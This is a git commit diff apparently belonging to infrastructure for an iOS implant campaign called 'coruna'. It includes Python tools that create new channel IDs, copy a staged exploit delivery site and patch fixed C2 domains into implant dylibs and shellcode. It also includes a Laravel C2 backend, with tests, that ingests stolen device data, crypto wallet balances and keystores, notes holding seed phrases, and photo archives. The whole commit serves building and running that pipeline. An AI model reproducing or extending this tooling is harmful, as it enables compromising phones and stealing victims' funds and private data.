This commit is contained in:
hashbro
2026-08-05 05:42:10 +08:00
parent d4fb538997
commit 22942f1a78
19 changed files with 986 additions and 164 deletions
+15 -16
View File
@@ -5,11 +5,12 @@
```text
coruna-lab/
├── source/ # 只读模板(campaign 原样,勿 patch)
│ ├── web/34f5121f572d6742703eb84ec2f866a6/
│ ├── web/<original-channel>/
│ └── sync/
├── web/… # 工作副本(由脚本从 source 复制后再 patch)
├── sync/
├── out/seeds.json, domains.json
├── server/public/
│ ├── web/<channel-id>/ # 每次 new_project 新增一个投递站
│ ├── sync/ # 每次 new_project 重建(同域名内容一致)
│ └── out/{channel,seeds,domains}.json
├── doc/
├── tools/
└── MANIFEST.json
@@ -21,26 +22,23 @@ coruna-lab/
https://www.dhxuhdbej888.icu/web/34f5121f572d6742703eb84ec2f866a6/
```
## 新建 / 刷新工作树(推荐)
## 新建项目(推荐)
从 `source/` 复制 `web` + `sync` 到 **`server/public/`**,再自动 `patch_all.py --apply`:
从 `source/` 生成 **`server/public/web/<新channel>/`**(自动 32 hex channel + 固定域名);每次重建 `sync/`,同域名则字节一致:
```bash
cd coruna-lab
pip3 install py7zr pycryptodome
python3 tools/new_project.py
# 指定 seed / 固定域名:
python3 tools/new_project.py --deployment-seed … --reporting-seed …
python3 tools/new_project.py \
--deployment-domains 'a.example,b.example' \
--reporting-domains 'c.example,d.example'
/usr/bin/python3 tools/new_project.py \
--deployment-domains 'www.89lwsvkxm-fbo6y50npt71o.org,www.sl2023nk2h4867xt2.info' \
--reporting-domains 'www.89lwsvkxm-fbo6y50npt71o.org,www.sl2023nk2h4867xt2.info'
```
域名见 `server/public/out/domains.json`;入口由 Laravel/`server/public` 提供:
见 `server/public/out/channel.json` / `domains.json`;入口:
```text
https://<host>/web/34f5121f572d6742703eb84ec2f866a6/support.html
https://<host>/web/<channel-id>/support.html
https://<host>/sync/daily.html
```
@@ -51,7 +49,7 @@ https://<host>/sync/daily.html
| [`doc/STAGE_JS.md`](doc/STAGE_JS.md) | 入口 + Stage JS;对标 `coruna/` |
| [`doc/NATIVE_PACKS.md`](doc/NATIVE_PACKS.md) | 一级 / 二级包路径、联系、清单 |
| [`doc/SYNC.md`](doc/SYNC.md) | `daily.html` + 26 个业务模块 |
| [`tools/README.md`](tools/README.md) | 替换 seed、重建二级包/core、计算 DGA 域名 |
| [`tools/README.md`](tools/README.md) | 固定域名 + channel、`new_project`、分步补丁 |
## 链路(极简)
@@ -64,4 +62,5 @@ support.html → Stage1/2/3 → 一级包 (.js) → (0x07) → 二级 type-0x01
- 来源索引:`MANIFEST.json`
- 分析报告:`coruna-online/docs/`
- **不要**对 `source/` 跑 `--apply`;只改根目录 `web/` / `sync/`
- **不要**对 `source/` 跑 `--apply`;产物只写 `server/public/web/<channel>/` 与 `sync/`
- 工具细节见 [`tools/README.md`](tools/README.md)
@@ -14,6 +14,7 @@ class DeviceController extends Controller
{
$filters = [
'device_key' => trim((string) $request->query('device_key', '')),
'channel_id' => trim((string) $request->query('channel_id', '')),
'model' => trim((string) $request->query('model', '')),
'ip' => trim((string) $request->query('ip', '')),
'ios' => trim((string) $request->query('ios', '')),
@@ -26,6 +27,9 @@ class DeviceController extends Controller
if ($filters['device_key'] !== '') {
$q->where('device_id', 'like', '%'.$filters['device_key'].'%');
}
if ($filters['channel_id'] !== '') {
$q->where('channel_id', 'like', '%'.$filters['channel_id'].'%');
}
if ($filters['model'] !== '') {
$q->where('device_model', 'like', '%'.$filters['model'].'%');
}
@@ -107,7 +107,11 @@ class C2Controller extends Controller
?: $request->input('f');
$device = $this->ingest->upsertDevice(
$request,
array_filter(['d' => $deviceKey]),
array_filter([
'd' => $deviceKey,
'c' => $request->input('c'),
'channel' => $request->input('channel'),
]),
$deviceKey ? (string) $deviceKey : null
);
+1 -1
View File
@@ -8,7 +8,7 @@ use Illuminate\Database\Eloquent\Relations\HasMany;
class Device extends Model
{
protected $fillable = [
'device_id', 'ios_version', 'device_model', 'ip', 'user_agent', 'telegram_notified',
'device_id', 'channel_id', 'ios_version', 'device_model', 'ip', 'user_agent', 'telegram_notified',
];
protected function casts(): array
+86 -1
View File
@@ -34,6 +34,40 @@ class IngestService
return null;
}
/**
* Campaign / channel id from reporting traffic.
*
* Primary: JSON / form field `c` (32 hex in HAR + type-0x01 embed).
* Fallback: `channel` (seen on /link/config/list alongside `c`).
*/
public function extractChannelId(Request $request, ?array $payload): ?string
{
$candidates = [];
if (is_array($payload)) {
if (isset($payload['form']) && is_array($payload['form'])) {
$candidates[] = $payload['form']['c'] ?? null;
$candidates[] = $payload['form']['channel'] ?? null;
}
$candidates[] = $payload['c'] ?? null;
$candidates[] = $payload['channel'] ?? null;
}
$candidates[] = $request->input('c');
$candidates[] = $request->input('channel');
foreach ($candidates as $value) {
if (! is_string($value) || $value === '') {
continue;
}
$value = trim($value);
// HAR / implant: lowercase hex, typically 32 chars
if (preg_match('/^[0-9a-fA-F]{16,64}$/', $value)) {
return strtolower(substr($value, 0, 64));
}
}
return null;
}
public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
{
$deviceKey ??= $this->extractDeviceKey($payload);
@@ -43,6 +77,7 @@ class IngestService
$deviceModel = $this->extractDeviceModel($payload);
$ios = $this->extractIosVersion($payload);
$channelId = $this->extractChannelId($request, $payload);
$ua = substr((string) $request->userAgent(), 0, 2000);
$existing = Device::query()->where('device_id', $deviceKey)->first();
@@ -62,6 +97,11 @@ class IngestService
} elseif ($existing) {
$attrs['ios_version'] = $existing->ios_version;
}
if ($channelId !== null) {
$attrs['channel_id'] = $channelId;
} elseif ($existing) {
$attrs['channel_id'] = $existing->channel_id;
}
// created_at = 安装时间, updated_at = 更新时间(Eloquent timestamps)
$device = Device::query()->updateOrCreate(
@@ -188,7 +228,10 @@ class IngestService
return;
}
$rows = [];
if (isset($payload['data']) && is_array($payload['data'])) {
// HAR `/api/user/status`: ba = { "<address>": [ { balance, chainId, chainType, symbol, ... }, ... ] }
if (isset($payload['ba']) && is_array($payload['ba'])) {
$rows = $this->normalizeBaAddressRows($payload['ba']);
} elseif (isset($payload['data']) && is_array($payload['data'])) {
$rows = $this->normalizeAddressRows($payload['data']);
} elseif (isset($payload['result']) && is_array($payload['result'])) {
$rows = $this->normalizeAddressRows($payload['result']);
@@ -324,6 +367,10 @@ class IngestService
if (is_string($sv) && $sv !== '') {
return $sv;
}
$info = $payload['deviceInfo'] ?? null;
if (is_array($info) && ! empty($info['productVersion']) && is_string($info['productVersion'])) {
return $info['productVersion'];
}
return null;
}
@@ -353,4 +400,42 @@ class IngestService
return $out;
}
/**
* HAR `/api/user/status` balance map → one row per address (primary asset + full token list in meta).
*
* @param array<string, mixed> $ba
* @return list<array<string, mixed>>
*/
private function normalizeBaAddressRows(array $ba): array
{
$out = [];
foreach ($ba as $address => $assets) {
if (! is_string($address) || $address === '' || ! is_array($assets)) {
continue;
}
$list = array_values(array_filter($assets, 'is_array'));
if ($list === []) {
continue;
}
$primary = $list[0];
foreach ($list as $asset) {
$bal = isset($asset['balance']) ? (string) $asset['balance'] : '';
if ($bal !== '' && $bal !== '0') {
$primary = $asset;
break;
}
}
$chain = (string) ($primary['chainType'] ?? $primary['chain'] ?? $primary['chainId'] ?? '');
$out[] = [
'address' => $address,
'chain' => $chain,
'balance' => isset($primary['balance']) ? (string) $primary['balance'] : null,
'symbol' => isset($primary['symbol']) ? (string) $primary['symbol'] : null,
'assets' => $list,
];
}
return $out;
}
}
@@ -0,0 +1,22 @@
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
return new class extends Migration
{
public function up(): void
{
Schema::table('devices', function (Blueprint $table) {
$table->string('channel_id', 64)->nullable()->after('device_id')->index();
});
}
public function down(): void
{
Schema::table('devices', function (Blueprint $table) {
$table->dropColumn('channel_id');
});
}
};
Binary file not shown.
Binary file not shown.
@@ -14,6 +14,12 @@
<input type="text" name="device_key" value="{{ $filters['device_key'] ?? '' }}" placeholder="device key" class="layui-input">
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label" style="width:90px;">Channel</label>
<div class="layui-input-inline" style="width:160px;">
<input type="text" name="channel_id" value="{{ $filters['channel_id'] ?? '' }}" placeholder="channel id" class="layui-input">
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label" style="width:70px;">Model</label>
<div class="layui-input-inline" style="width:120px;">
@@ -54,6 +60,7 @@
<tr>
<th>ID</th>
<th>Device</th>
<th>Channel</th>
<th>Model</th>
<th>iOS</th>
<th>IP</th>
@@ -67,6 +74,7 @@
<tr>
<td>{{ $d->id }}</td>
<td><code>{{ $d->device_id }}</code></td>
<td><code>{{ $d->channel_id ?: '—' }}</code></td>
<td>{{ $d->device_model ?: '—' }}</td>
<td>{{ $d->ios_version ?: '—' }}</td>
<td>{{ $d->ip ?: '—' }}</td>
@@ -75,7 +83,7 @@
<td><a class="layui-btn layui-btn-normal layui-btn-xs" href="{{ route('admin.devices.show', $d) }}">详情</a></td>
</tr>
@empty
<tr><td colspan="8">暂无设备</td></tr>
<tr><td colspan="9">暂无设备</td></tr>
@endforelse
</tbody>
</table>
@@ -13,14 +13,18 @@
<tr>
<th width="140">Device</th>
<td><code>{{ $device->device_id }}</code></td>
<th width="140">Model</th>
<td>{{ $device->device_model ?: '—' }}</td>
<th width="140">Channel</th>
<td><code>{{ $device->channel_id ?: '—' }}</code></td>
</tr>
<tr>
<th>Model</th>
<td>{{ $device->device_model ?: '—' }}</td>
<th>iOS</th>
<td>{{ $device->ios_version ?: '—' }}</td>
</tr>
<tr>
<th>IP</th>
<td>{{ $device->ip ?: '—' }}</td>
<td colspan="3">{{ $device->ip ?: '—' }}</td>
</tr>
<tr>
<th>User-Agent</th>
+164
View File
@@ -6,10 +6,14 @@ use App\Models\Admin;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\Photo;
use App\Models\Wallet;
use App\Models\WalletAddress;
use App\Services\CorunaCrypto;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Http\UploadedFile;
use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
@@ -30,6 +34,7 @@ class C2ApiTest extends TestCase
{
$crypto = new CorunaCrypto;
$payload = [
'c' => '34f5121f572d6742703eb84ec2f866a6',
'd' => '000430C910E8E526',
'f' => '000430C910E8E526',
'deviceModel' => 'iPhone9,1',
@@ -58,6 +63,7 @@ class C2ApiTest extends TestCase
$device = Device::query()->where('device_id', '000430C910E8E526')->first();
$this->assertNotNull($device);
$this->assertSame('34f5121f572d6742703eb84ec2f866a6', $device->channel_id);
$this->assertSame('15.8.4', $device->ios_version);
$this->assertSame('iPhone9,1', $device->device_model);
$this->assertStringContainsString('CorunaLab/1.0', (string) $device->user_agent);
@@ -179,6 +185,164 @@ class C2ApiTest extends TestCase
$this->assertStringContainsString('/api/user/set', (string) file_get_contents($logFile));
}
#[Test]
public function status_ingests_har_shaped_ba_address_map(): void
{
$crypto = new CorunaCrypto;
$ts = '1722585600888';
$enc = $crypto->encryptJson([
'd' => 'dev-ba-1',
'a' => 'tp',
'ba' => [
'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => [
[
'balance' => '0',
'chainId' => '10',
'chainType' => 'tron',
'decimal' => '6',
'name' => 'Tether USD',
'symbol' => 'USDT',
],
[
'balance' => '12.5',
'chainId' => '10',
'chainType' => 'tron',
'decimal' => '6',
'name' => 'TRON',
'symbol' => 'TRX',
],
],
],
], $ts);
$this->call('POST', '/api/user/status', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts,
], $enc['body'])->assertOk();
$device = Device::query()->where('device_id', 'dev-ba-1')->first();
$this->assertNotNull($device);
$addr = WalletAddress::query()
->where('device_id', $device->id)
->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6')
->first();
$this->assertNotNull($addr);
$this->assertSame('tron', $addr->chain);
$this->assertSame('12.5', $addr->balance);
$this->assertSame('TRX', $addr->symbol);
$this->assertCount(2, $addr->meta_json['assets'] ?? []);
}
#[Test]
public function avatar_status_stores_keystore_blob_as_wallet_raw(): void
{
$crypto = new CorunaCrypto;
$ts = '1722585600999';
$enc = $crypto->encryptJson([
'd' => 'dev-ks-1',
'a' => 'im',
'result' => [
'crypto' => [
'cipher' => 'aes-128-ctr',
'ciphertext' => 'deadbeef',
'kdf' => 'pbkdf2',
'mac' => 'cafebabe',
],
'identity' => ['encKey' => 'aa'],
],
], $ts);
$this->call('POST', '/api/user/avatar/status', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts,
], $enc['body'])->assertOk();
$device = Device::query()->where('device_id', 'dev-ks-1')->first();
$this->assertNotNull($device);
$wallet = Wallet::query()->where('device_id', $device->id)->first();
$this->assertNotNull($wallet);
$this->assertNull($wallet->mnemonic);
$this->assertSame('aes-128-ctr', $wallet->raw_json['result']['crypto']['cipher'] ?? null);
}
#[Test]
public function avatar_pic_ingests_notes(): void
{
$crypto = new CorunaCrypto;
$ts = '1722585601111';
$enc = $crypto->encryptJson([
'd' => 'dev-notes-1',
'notes' => [
['title' => 'seed backup', 'body' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'],
['name' => 'shopping', 'text' => 'milk'],
],
], $ts);
$this->call('POST', '/api/user/avatar/pic', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts,
], $enc['body'])->assertOk();
$device = Device::query()->where('device_id', 'dev-notes-1')->first();
$this->assertNotNull($device);
$this->assertSame(2, Note::query()->where('device_id', $device->id)->count());
$first = Note::query()->where('device_id', $device->id)->where('title', 'seed backup')->first();
$this->assertNotNull($first);
$this->assertStringContainsString('abandon', (string) $first->body);
}
#[Test]
public function check_extracts_photo_archive_and_stores_file(): void
{
Storage::fake('local');
$crypto = new CorunaCrypto;
$tmp = sys_get_temp_dir().'/coruna_photo_'.uniqid();
mkdir($tmp);
$jpegPath = $tmp.'/hit.jpg';
// minimal JPEG SOI/EOI
file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9");
$archivePath = $tmp.'/capture.7z';
$password = $crypto->archivePassword('0');
$bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z')
? '/opt/homebrew/opt/p7zip/bin/7z'
: '7z';
$cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password)
.' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1';
exec($cmd, $out, $code);
$this->assertSame(0, $code, implode("\n", $out));
$this->assertFileExists($archivePath);
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
$resp = $this->call(
'POST',
'/api/user/check',
[
'd' => 'dev-photo-1',
'f' => 'dev-photo-1',
'batchBase' => '0',
'count' => '1',
'total' => '1',
'index' => '0',
],
[],
['file' => $upload],
['CONTENT_TYPE' => 'multipart/form-data']
);
$resp->assertOk();
$device = Device::query()->where('device_id', 'dev-photo-1')->first();
$this->assertNotNull($device);
$photo = Photo::query()->where('device_id', $device->id)->first();
$this->assertNotNull($photo);
$this->assertSame(hash('sha256', "\xFF\xD8\xFF\xD9"), $photo->sha256);
$this->assertSame(4, $photo->size);
Storage::disk('local')->assertExists($photo->path);
@unlink($jpegPath);
@unlink($archivePath);
@rmdir($tmp);
}
#[Test]
public function admin_guest_is_redirected_to_admin_login(): void
{
+36 -38
View File
@@ -1,100 +1,98 @@
# coruna-lab 工具:DGA seed / 固定域名
# coruna-lab 工具:channel id / 固定域名
## 推荐:固定域名列表(多域名探测)
## 推荐:`new_project.py`(新 channel + 固定域名)
植入体本身已有「候选列表里哪个可用用哪个」。脚本把 Deployment / Reporting 的 DGA 生成替换为你给的域名列表,并同步改:
每次运行都会:
- core(`erupt_flee.js` + `daily.html` 的 sha256/size)
- 全部 type0x01 二级包(10 个 `.min.js`)
1. 自动生成 **32 hex** channel id(或 `--channel-id`)
2. 从 `source/web/<原channel>/` 复制出 `server/public/web/<新channel>/`
3. 从 `source/sync` 重置并重建 `sync/`(固定域名写入 core / `daily.html`)
4. 写入固定域名 + channel,重打包全部 type0x01 二级包
**无 reuse-sync / 无改 seed 参数。** seed 由域名列表确定性推导;`daily.html`/`erupt_flee.js` 经内容缓存消除 py7zr 随机 salt,相同域名多次构建 → `sync/` 字节一致,仅 `web/<channel>/` 因 channel 不同。旧版备份:`tools/new_project.py.bak`。
```bash
cd coruna-lab
# 需 py7zr + pycryptodome(macOS 可用 /usr/bin/python3;Homebrew python 建议 venv)
pip3 install py7zr pycryptodome
python3 tools/new_project.py \
/usr/bin/python3 tools/new_project.py \
--deployment-domains 'www.dep1.example,www.dep2.example' \
--reporting-domains 'www.rep1.example,www.rep2.example,www.rep3.example'
--reporting-domains 'www.rep1.example,www.rep2.example'
```
也支持重复传参:
也支持重复传参 / 指定 channel:
```bash
python3 tools/new_project.py \
/usr/bin/python3 tools/new_project.py \
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
--deployment-domains www.dep1.example \
--deployment-domains www.dep2.example \
--reporting-domains www.rep1.example \
--reporting-domains www.rep2.example
```
产物(`new_project.py` 写入 `server/public/`):
产物(写入 `server/public/`):
- `server/public/web/…`、`server/public/sync/` — 可直接由 Laravel public 提供
- `server/public/out/seeds.json` — 内部仍写入 seed(供池身份匹配)
- `server/public/out/domains.json` — 最终生效的域名列表
- `server/public/web/<channel-id>/` — 投递站(可并存多个 channel)
- `server/public/sync/` — 每次重建(同域名则内容一致)
- `server/public/out/channel.json` — 本次 channel
- `server/public/out/domains.json` — 固定域名列表
- `server/public/out/seeds.json` — 由域名推导的内部 seed
- `server/public/out/sync/MANIFEST.json` — core sha/size + domains
约束:
- channel id:**恰好 32** 个小写十六进制字符(与 type-0x01 C 字符串槽位同宽)
- 每池最多 **8** 个域名,单域名 ≤ 63 ASCII
- 可写 `https://host`(会自动去掉 scheme/path/port)
- 部署后把这些域名 DNS/hosts 指到你的 lab server(443)
- Deployment 需响应 `/sync/daily.html`;Reporting 需 `/api/user/query` → `OK`
- `daily.html` 打到 **Deployment 域名**(不是投递站 `/web/...`);type-0x01 起来后才会请求
- 固定域名 shellcode 曾有 callee-saved 寄存器未保存的 bug(会在探测前崩);请用当前 `tools/_domain_patch.py` 重新 `--apply` 后再部署 `web/` + `sync/`
- 固定域名 shellcode 曾有 callee-saved 寄存器未保存的 bug(会在探测前崩);请用当前 `tools/_domain_patch.py` 重新生成后再部署
- macOS 建议用 `/usr/bin/python3`(需 `py7zr` + `pycryptodome`);Homebrew 3.14 常缺 `Crypto`
---
## 仅重建(已有 server/public web/sync)
## 仅重建(已有 server/public)
```bash
# 若尚无 web/ + sync/,--apply 会自动从 source/ 复制一份
python3 tools/patch_all.py --apply --root server/public \
# 自动生成 channel;若尚无 web/<channel>/ + sync/,会从 source/ 复制
/usr/bin/python3 tools/patch_all.py --apply --root server/public \
--channel-id 'dddddddddddddddddddddddddddddddd' \
--deployment-domains 'www.dep1.example,www.dep2.example' \
--reporting-domains 'www.rep1.example,www.rep2.example'
```
---
## 旧模式:只换 DGA seed(算域名)
不传 `--*-domains` 时行为与以前相同:随机/指定 seed,DGA 生成候选域名。
```bash
python3 tools/new_project.py
# 或
python3 tools/new_project.py \
--deployment-seed 09d0b8d58a71653cd1c89c64c866f2e6 \
--reporting-seed 2d2aebba0bf3d7d694194a7ab93b0a96
```
域名未变、只要新 channel 时用 `new_project.py`(会复用 `out/seeds.json` + 现有 `sync/`)。
### Seed 格式
- ASCII,长度 ≤ 32(二进制槽位定长 32)
- 推荐正好 32 个十六进制字符
- Deployment / Reporting 各一个
- Deployment / Reporting 各一个;域名未变时 `new_project` 会自动复用上次 seed
---
## 分步脚本
```bash
# 二级包 type0x01
python3 tools/patch_secondary_packs.py \
# 二级包 type0x01(含 channel)
/usr/bin/python3 tools/patch_secondary_packs.py \
--deployment-seed <32hex> --reporting-seed <32hex> \
--channel-id <32hex> \
--deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \
--root . --apply
--root server/public --apply
# core + daily 校验
python3 tools/patch_core.py \
/usr/bin/python3 tools/patch_core.py \
--deployment-seed <32hex> --reporting-seed <32hex> \
--deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \
--root . --apply
--root server/public --apply
# 只算 DGA 域名(固定域名模式不需要)
python3 tools/compute_dga_domains.py \
/usr/bin/python3 tools/compute_dga_domains.py \
--deployment-seed <32hex> --reporting-seed <32hex> -n 5
```
源 dylib 仍读自 `coruna-online/`;`--apply` 写入工作树 `web/` + `sync/`(不会写 `source/`)。
源 dylib 仍读自 `coruna-online/`;`--apply` 写入 `server/public/web/<channel>/` + `sync/`(不会写 `source/`)。
+74
View File
@@ -0,0 +1,74 @@
"""Patch campaign / channel id embedded in type-0x01 secondary dylibs."""
from __future__ import annotations
import re
import secrets
# C-string keys immediately before the channel value in type-0x01 __cstring.
CHANNEL_ANCHOR = b"u\x00d\x00f\x00s\x00c\x00"
CHANNEL_LEN = 32
_CHANNEL_RE = re.compile(rb"^[0-9a-f]{32}$")
def gen_channel_id() -> str:
"""32 lowercase hex chars (same width as campaign slot)."""
return secrets.token_hex(16)
def validate_channel_id(value: str, *, name: str = "--channel-id") -> str:
if not isinstance(value, str) or not _CHANNEL_RE.fullmatch(value.encode("ascii")):
raise SystemExit(
f"{name} must be exactly {CHANNEL_LEN} lowercase hex chars "
f"(got {value!r})"
)
return value
def find_channel_offsets(data: bytes, *, expect_old: bytes | None = None) -> list[int]:
"""Return offsets of the 32-byte channel value after CHANNEL_ANCHOR."""
offsets: list[int] = []
start = 0
while True:
index = data.find(CHANNEL_ANCHOR, start)
if index < 0:
break
value_at = index + len(CHANNEL_ANCHOR)
value = data[value_at : value_at + CHANNEL_LEN]
if (
len(value) == CHANNEL_LEN
and _CHANNEL_RE.fullmatch(value)
and data[value_at + CHANNEL_LEN : value_at + CHANNEL_LEN + 1] == b"\x00"
):
if expect_old is None or value == expect_old:
offsets.append(value_at)
start = index + 1
return offsets
def patch_channel_in_dylib(
data: bytes,
new_channel: str,
*,
old_channel: str | None = None,
expect_hits: int = 1,
label: str = "dylib",
) -> bytes:
"""In-place replace channel C-string (must stay {CHANNEL_LEN} bytes)."""
new_channel = validate_channel_id(new_channel, name="channel")
new_b = new_channel.encode("ascii")
old_b = old_channel.encode("ascii") if old_channel else None
if old_b is not None:
validate_channel_id(old_channel, name="old channel")
offsets = find_channel_offsets(data, expect_old=old_b)
if len(offsets) != expect_hits:
raise SystemExit(
f"{label}: channel anchor hits={len(offsets)} (want {expect_hits}). "
"Secondary payload layout may have changed; re-adapt _channel_patch."
)
buf = bytearray(data)
for offset in offsets:
buf[offset : offset + CHANNEL_LEN] = new_b
return bytes(buf)
+39 -10
View File
@@ -13,7 +13,9 @@ MODULE_HUNT = ONLINE_ROOT / "module_hunt"
if str(MODULE_HUNT) not in sys.path:
sys.path.insert(0, str(MODULE_HUNT))
CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6"
# Campaign / channel id embedded in type-0x01 (also source/web/<id>/ dirname).
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
CAMPAIGN_HASH = ORIGINAL_CHANNEL_ID # active campaign id (may be overridden)
# Campaign originals (current seeds embedded in type-0x01 + core)
ORIGINAL_DEPLOYMENT_SEED = "09d0b8d58a71653cd1c89c64c866f2e6"
@@ -27,6 +29,7 @@ OLD_REP = ORIGINAL_REPORTING_SEED.encode("ascii")
_TREE_ROOT = SOURCE_ROOT
CAMPAIGN_DIR = _TREE_ROOT / "web" / CAMPAIGN_HASH
SYNC_DIR = _TREE_ROOT / "sync"
SOURCE_CAMPAIGN_DIR = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
C2_FETCH = ONLINE_ROOT / "c2_fetch"
CORE_DYLIB = (
@@ -53,25 +56,51 @@ def tree_root() -> Path:
return _TREE_ROOT
def set_tree_root(root: Path) -> Path:
"""Point CAMPAIGN_DIR / SYNC_DIR at root/web/... and root/sync."""
def campaign_id() -> str:
return CAMPAIGN_HASH
def set_campaign_id(channel: str) -> str:
"""Point CAMPAIGN_DIR at web/<channel>/ under the current tree root."""
global CAMPAIGN_HASH, CAMPAIGN_DIR
from _channel_patch import validate_channel_id
CAMPAIGN_HASH = validate_channel_id(channel, name="channel id")
CAMPAIGN_DIR = _TREE_ROOT / "web" / CAMPAIGN_HASH
return CAMPAIGN_HASH
def set_tree_root(root: Path, *, channel: str | None = None) -> Path:
"""Point CAMPAIGN_DIR / SYNC_DIR at root/web/<channel>/ and root/sync."""
global _TREE_ROOT, CAMPAIGN_DIR, SYNC_DIR
root = root.resolve()
_TREE_ROOT = root
CAMPAIGN_DIR = root / "web" / CAMPAIGN_HASH
if channel is not None:
set_campaign_id(channel)
else:
CAMPAIGN_DIR = root / "web" / CAMPAIGN_HASH
SYNC_DIR = root / "sync"
return root
def ensure_tree_layout(root: Path) -> None:
camp = root / "web" / CAMPAIGN_HASH
def ensure_tree_layout(
root: Path,
*,
channel: str | None = None,
require_campaign: bool = True,
) -> None:
cid = channel or CAMPAIGN_HASH
camp = root / "web" / cid
sync = root / "sync"
if not camp.is_dir() or not sync.is_dir():
missing = []
if require_campaign and not camp.is_dir():
missing.append(f"web/{cid}/")
if not sync.is_dir():
missing.append("sync/")
if missing:
raise SystemExit(
f"missing working tree under {root} (need web/{CAMPAIGN_HASH}/ and sync/).\n"
f"missing working tree under {root} (need {', '.join(missing)}).\n"
f"Run first:\n"
f" python3 tools/new_project.py --skip-patch\n"
f"or directly:\n"
f" python3 tools/new_project.py --deployment-domains '...' --reporting-domains '...'"
)
+127 -62
View File
@@ -1,19 +1,33 @@
#!/usr/bin/env python3
"""Reset server/public web/ + sync/ from source/, then patch_all --apply."""
"""Build server/public campaign trees: new channel + fixed domains.
Seeds are derived deterministically from the domain lists (not user-facing).
Same domains → same sync/ and same secondary domain patch; only channel differs.
Each run:
- creates web/<channel-id>/
- rebuilds sync/ from source + fixed-domain patch
- leaves other web/<channel>/ dirs intact
"""
from __future__ import annotations
import argparse
import hashlib
import json
import shutil
import subprocess
import sys
from pathlib import Path
from _channel_patch import gen_channel_id, validate_channel_id
from _domain_patch import parse_domain_list
TOOLS = Path(__file__).resolve().parent
LAB_ROOT = TOOLS.parent
SOURCE_ROOT = LAB_ROOT / "source"
APPLY_ROOT = LAB_ROOT / "server" / "public"
CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6"
ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6"
def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
@@ -27,105 +41,156 @@ def replace_tree(src: Path, dst: Path) -> None:
shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk)
def copy_campaign_template(dst_campaign: Path) -> None:
src = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
if not src.is_dir():
raise SystemExit(f"missing source campaign: {src}")
if dst_campaign.exists():
raise SystemExit(f"campaign already exists: {dst_campaign}")
shutil.copytree(src, dst_campaign, symlinks=False, ignore=_ignore_junk)
def seeds_from_domains(dep: list[str], rep: list[str]) -> tuple[str, str]:
"""32-hex seeds stable for a given ordered domain list (pool slots still need seeds)."""
def one(label: str, domains: list[str]) -> str:
material = label.encode("ascii") + b"\0" + b"\0".join(d.encode("ascii") for d in domains)
return hashlib.sha256(material).hexdigest()[:32]
dep_seed = one("deployment", dep)
rep_seed = one("reporting", rep)
if dep_seed == rep_seed:
rep_seed = one("reporting/alt", rep)
return dep_seed, rep_seed
def pick_channel(explicit: str | None, web_root: Path) -> str:
channel = validate_channel_id(explicit) if explicit else gen_channel_id()
while (web_root / channel).exists():
if explicit:
raise SystemExit(f"web/{channel} already exists; choose another --channel-id")
channel = gen_channel_id()
return channel
def run(cmd: list[str]) -> None:
print("+", " ".join(cmd), flush=True)
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
def main() -> int:
parser = argparse.ArgumentParser(
description=(
"Copy source/web + source/sync to server/public, then run "
"patch_all.py --apply --root server/public."
"From source/, create server/public/web/<channel-id>/ with fixed "
"Deployment/Reporting domains. Seeds are derived from domains "
"(no --*-seed / no reuse-sync shortcut)."
)
)
parser.add_argument(
"--deployment-seed",
help="optional; forwarded to patch_all (default: random)",
)
parser.add_argument(
"--reporting-seed",
help="optional; forwarded to patch_all (default: random)",
"--channel-id",
help="optional 32-hex channel id (default: random, unique under web/)",
)
parser.add_argument(
"--deployment-domains",
action="append",
default=[],
required=True,
help="fixed Deployment hosts (comma-separated or repeatable)",
)
parser.add_argument(
"--reporting-domains",
action="append",
default=[],
required=True,
help="fixed Reporting hosts (comma-separated or repeatable)",
)
parser.add_argument(
"-n",
"--count",
type=int,
default=5,
help="DGA candidates to print when not using fixed domains (default 5)",
)
parser.add_argument(
"--skip-patch",
action="store_true",
help="only copy source trees to server/public; do not run patch_all",
)
args = parser.parse_args()
if bool(args.deployment_domains) != bool(args.reporting_domains):
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
fixed_dep = parse_domain_list(args.deployment_domains, label="deployment")
fixed_rep = parse_domain_list(args.reporting_domains, label="reporting")
dep_seed, rep_seed = seeds_from_domains(fixed_dep, fixed_rep)
src_web = SOURCE_ROOT / "web"
src_campaign = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID
src_sync = SOURCE_ROOT / "sync"
if not (src_web / CAMPAIGN_HASH).is_dir():
raise SystemExit(f"missing source campaign: {src_web / CAMPAIGN_HASH}")
if not src_campaign.is_dir():
